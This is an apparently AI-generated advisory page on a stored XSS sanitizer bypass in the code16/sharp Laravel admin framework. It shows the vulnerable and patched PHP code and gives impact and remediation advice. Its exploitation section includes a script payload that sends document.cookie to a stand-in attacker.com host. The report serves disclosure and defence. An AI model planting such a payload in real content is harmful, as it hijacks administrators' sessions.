CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-61825

CVE-2026-61825: Stored Cross-Site Scripting (XSS) via data-html-content Sanitizer Bypass in code16/sharp

Amit Schendel
Amit Schendel
Senior Security Researcher

Sep 25, 2026·5 min read·2 visits

Executive Summary (TL;DR)

Stored Cross-Site Scripting (XSS) in code16/sharp prior to 9.22.5 allows lower-privileged users to bypass HTML sanitization and execute arbitrary JavaScript via crafted elements containing 'data-html-content' or iframe 'srcdoc' attributes.

CVE-2026-61825 is a high-severity, stored Cross-Site Scripting (XSS) vulnerability identified in code16/sharp, a Laravel-based administrative framework. The flaw resides within the administrative backend's rich-text and markdown editor field formatter. By bypassing HTML sanitization via crafted elements containing the data-html-content attribute or iframe srcdoc execution parameters, lower-privileged users can inject and execute arbitrary JavaScript code.

Vulnerability Overview

The vulnerability identified as CVE-2026-61825 is a stored Cross-Site Scripting (XSS) flaw in the code16/sharp package, a content-management and administrative interface framework for Laravel. This vulnerability resides in the administrative backend's rich-text and markdown editor field formatter (SharpEditorFormField). The component processes user-provided markup and is designed to run server-side HTML sanitization before storing the content in the database.

The attack surface is accessible to authenticated users with permissions to write or modify content within the administrative interface, such as content authors, editors, or local administrators. By inputting malicious markup, these users can bypass the default server-side sanitization logic. The application then saves the un-sanitized, executable payload directly to the data store.

When a victim, such as a super-administrator or an end-user of the frontend application, views or edits the poisoned content, the browser executes the stored payload within the context of their active session. This mechanism leads to the execution of arbitrary JavaScript, bypassing the security boundaries of the administrative framework.

Root Cause Analysis

The root cause of the vulnerability lies in two distinct implementation flaws in the server-side markup formatter helper class FormatsSanitizedValue.php. The administrative backend relies on this class to configure and execute a server-side HtmlSanitizer instance which strips unsafe HTML tags and attributes before persistent storage.

The first flaw stems from an unconditional string check in the isEncodingNeeded() method. This method determines whether to process an input value via a raw decoding/encoding mechanism. In vulnerable versions, the method unconditionally added the literal string 'data-html-content' to its search array. If an input string contained this keyword, the formatter assumed the block was raw HTML and skipped standard sanitization for that element, preserving the nested scripts within.

The second flaw is the inclusion of the highly dangerous 'srcdoc' attribute in the global HTML sanitizer allowlist for iframe elements. The srcdoc attribute allows inline definition of complete HTML documents within an iframe. Because traditional, non-recursive sanitizers evaluate attributes individually without parsing nested HTML strings within an attribute value, the sanitizer approved the iframe element and left its malicious srcdoc payload unmodified.

Code Analysis

A review of the implementation reveals how these two flaws integrated into the parsing pipeline of FormatsSanitizedValue.php. In the vulnerable implementation, the isEncodingNeeded method returned a boolean indicating whether raw encoding was required by testing a list of predefined needle strings against the user-supplied value.

// Vulnerable Implementation in FormatsSanitizedValue.php
private function isEncodingNeeded(SharpFormEditorField $field, string $value): bool
{
    return collect([
        ...$field->embeds()->map(fn (SharpFormEditorEmbed $embed) => '<'.$embed->tagName())->all(),
        '<x-sharp-image',
        '<x-sharp-file',
        'data-html-content', // Unconditional bypass trigger
    ])
    ->contains(fn (string $needle) => str_contains($value, $needle));
}

The patch resolved this by making the 'data-html-content' check conditional on whether the editor toolbar explicitly enables the RAW_HTML option. If the option is absent, the needle is set to null and subsequently removed via filter(). Additionally, 'srcdoc' was removed from the sanitizer configuration.

// Patched Implementation in FormatsSanitizedValue.php
private function isEncodingNeeded(SharpFormEditorField $field, string $value): bool
{
    return collect([
        ...$field->embeds()->map(fn (SharpFormEditorEmbed $embed) => '<'.$embed->tagName())->all(),
        '<x-sharp-image',
        '<x-sharp-file',
        in_array(SharpFormEditorField::RAW_HTML, $field->getToolbar())
            ? 'data-html-content'
            : null,
    ])
    ->filter() // Removes null values
    ->contains(fn (string $needle) => str_contains($value, $needle));
}

Exploitation Methodology

Exploitation of CVE-2026-61825 requires an attacker to possess low-privileged credentials sufficient to submit rich-text or markdown editor fields. The attacker targets any form input parsed by SharpEditorFormField and crafts a payload utilizing one of the two bypass vectors.

To exploit the data-html-content bypass, the attacker submits a payload wrapped in a container possessing the targeted attribute. The backend detects the attribute, bypasses sanitization, and saves the malicious script tag to the database.

<div data-html-content="true">
    <script>
        fetch('https://attacker.com/log?cookie=' + document.cookie);
    </script>
</div>

Alternatively, the attacker can leverage the srcdoc bypass. Because iframe and srcdoc are both in the global allowlist, the sanitizer accepts the payload. Upon rendering, the browser instantiates the nested context and executes the script, which can interact with the parent document context to extract cookies or session storage tokens.

Impact Assessment

The security impact of CVE-2026-61825 is high, carrying a CVSS base score of 8.7. Because the vulnerability results in stored Cross-Site Scripting, the malicious payload is persistently served to any administrative user or site visitor who accesses the affected content.

An attacker successfully exploiting this vulnerability can execute arbitrary JavaScript within the victim's browser session. If an administrative user views the page, the payload can perform actions on behalf of the administrator. This includes modifying system configurations, creating new administrative accounts, or stealing administrative session tokens and cookies.

Since the scope is changed (S:C) and the confidentiality and integrity impacts are high, this vulnerability can lead to complete administrative takeover of the backend framework and potential compromise of the underlying application infrastructure.

Remediation and Mitigation

The primary remediation path is to upgrade the code16/sharp package to version 9.22.5 or higher. This update restricts raw HTML parsing capabilities and removes the hazardous srcdoc attribute from the global allowlist.

If immediate updating is not possible, developers should conduct a security review of all subclasses of SharpForm to ensure that raw HTML editing is disabled. Avoid incorporating SharpFormEditorField::RAW_HTML in toolbar definitions unless absolutely necessary. If raw HTML support is required, implement a strict server-side sanitization middleware using a secure HTML parser.

In addition, deploying Web Application Firewall (WAF) rules to inspect and block incoming HTTP request bodies that contain data-html-content or srcdoc attribute patterns can provide virtual patching protection. Implement a strong Content Security Policy (CSP) with restricted script-src and frame-src directives to mitigate the risk of script execution and data exfiltration.

Fix Analysis (1)

Technical Appendix

CVSS Score
8.7/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
EPSS Probability
0.22%
Top 89% most exploited

Affected Systems

code16/sharp Laravel Administrative Framework

Affected Versions Detail

Product
Affected Versions
Fixed Version
sharp
code16
< 9.22.59.22.5
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork
CVSS v3.1 Score8.7
EPSS Score0.00219
ImpactHigh (Stored XSS / Session Hijacking / Admin Takeover)
Exploit StatusProof-of-Concept (via Unit Tests)
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The software does not sanitize or incorrectly sanitizes user-controlled input before including it in web pages, allowing execution of malicious scripts.

References & Sources

  • [1]GitHub Security Advisory GHSA-vj3q-vp3g-j9c8
  • [2]Fix Commit ec509a22
  • [3]CVE-2026-61825 CVE Record
  • [4]NVD Vulnerability Details for CVE-2026-61825

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•43 minutes ago•CVE-2026-86439
8.8

CVE-2026-86439: Path Traversal Vulnerability in knowns MCP Document and Memory Storage

A critical path traversal vulnerability (CWE-22) exists in knowns prior to version 0.30.0. The software fails to restrict file path arguments passed to Model Context Protocol (MCP) tools, permitting low-privilege users to escape the designated base storage directories and manipulate arbitrary markdown files on the host filesystem.

Amit Schendel
Amit Schendel
2 views•7 min read
•about 3 hours ago•CVE-2026-61823
7.3

CVE-2026-61823: Stored Cross-Site Scripting (XSS) via iframe srcdoc Attribute in code16 Sharp

A stored cross-site scripting (XSS) vulnerability was identified in the content-management and administrative framework code16 Sharp. The flaw stems from an overly permissive HTML sanitization configuration that whitelists the 'srcdoc' attribute on HTML 'iframe' tags. When processed and stored, browsers render the content of this attribute by decoding nested HTML entities, converting sanitized elements back into executable code.

Amit Schendel
Amit Schendel
3 views•5 min read
•about 4 hours ago•CVE-2026-57440
7.5

CVE-2026-57440: Stored Cross-Site Scripting (XSS) in MediaWiki EmbedVideo Extension

CVE-2026-57440 is a high-severity stored Cross-Site Scripting (XSS) vulnerability affecting the EmbedVideo extension for MediaWiki. When the extension is configured with consent requirements disabled ($wgEmbedVideoRequireConsent = false), video URLs and service IDs are parsed and inserted directly into the 'src' attribute of a generated iframe element without sanitization or context-aware escaping. This allows an attacker with editing privileges to inject arbitrary JavaScript and execute malicious commands in the context of other users' sessions.

Alon Barad
Alon Barad
4 views•7 min read
•about 5 hours ago•CVE-2026-92161
9.8

CVE-2026-92161: Unauthenticated Account Takeover in FriendsOfFlarum OAuth Extension

A critical logical vulnerability in the FriendsOfFlarum OAuth (fof/oauth) extension allows unauthenticated remote attackers to perform complete account takeover, including administrative profiles. This vulnerability is caused by a failure to verify the email verification status returned by third-party identity providers such as Discord before asserting that the email is trusted and matching it to existing local accounts.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 6 hours ago•CVE-2026-61784
6.1

CVE-2026-61784: HTML Attribute Injection and Sanitizer Bypass in node-xhtml-purifier

A critical sanitizer bypass vulnerability exists in the xhtml-purifier Node.js library prior to version 0.4.3. Due to a lack of HTML entity encoding during the attribute re-serialization phase, unauthenticated remote attackers can break out of double-quoted attribute contexts to inject arbitrary script handlers, resulting in Cross-Site Scripting.

Alon Barad
Alon Barad
3 views•7 min read
•about 7 hours ago•CVE-2026-61741
9.3

CVE-2026-61741: XML External Entity (XXE) Injection in http4s-scala-xml

CVE-2026-61741 is a critical XML External Entity (XXE) injection vulnerability in the http4s-scala-xml library. The vulnerability allows remote, unauthenticated attackers to perform arbitrary local file disclosure, execute server-side request forgery (SSRF) attacks, or cause denial of service via recursive entity expansion. The vulnerability stems from the use of an unconfigured SAXParserFactory, which enables external entity resolution by default.

Amit Schendel
Amit Schendel
4 views•6 min read